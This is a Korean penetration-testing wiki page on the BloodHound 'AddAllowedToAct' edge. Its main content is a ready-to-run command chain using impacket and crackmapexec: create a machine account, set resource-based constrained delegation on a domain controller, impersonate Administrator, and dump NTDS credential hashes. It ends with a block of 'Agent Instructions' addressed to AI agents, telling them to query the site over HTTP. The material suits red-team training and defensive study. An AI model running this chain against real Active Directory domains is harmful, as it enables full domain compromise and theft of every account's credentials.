# AddAllowedToAct

객체에 대해 Write msDS-AllowedToActOnBehalfOfOtherIdentity 권한이 있다면 블러드하운드에서 AddAllowedToAct로 표시되며 [Resource Based Constrained Delegation](/data-theft/active-directory/resource-based-constrained-delegation.md) 공격이 가능합니다. 

<figure><img src="/files/1MyTP2iEKnpMQo5n6pCt" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong># 새로운 머신 계정 생성
</strong>impacket-addcomputer -computer-name 'RBCD$' -computer-pass 'Password123!' -dc-host ad01.contoso.com contoso.com/user-A:'Password123!'

<strong># 타겟의 RBCD에 계정 등록
</strong>impacket-rbcd -delegate-from 'RBCD$' -delegate-to 'AD01$' -action write contoso.com/user-A:'Password123!'

<strong># 등록된 계정을 통해 TGT 발급
</strong>impacket-getST -spn cifs/ad01.contoso.com -impersonate Administrator contoso.com/RBCD$:'Password123!'
export KRB5CCNAME=Administrator.ccache

<strong># NTDS 덤핑
</strong>crackmapexec smb contoso.com -u Administrator --use-kcache --ntds
</code></pre>

## References

{% embed url="<https://lira.epac.to/DOCS/python3-impacket/examples/smbpasswd.py>" %}

{% embed url="<https://dan-feliciano.com/2024/07/14/phantom/>" %}

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17322164218267-AllowedToAct>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/privilege-escalation/ad-dacl/addallowedtoact>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/dacl/addallowedtoact.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.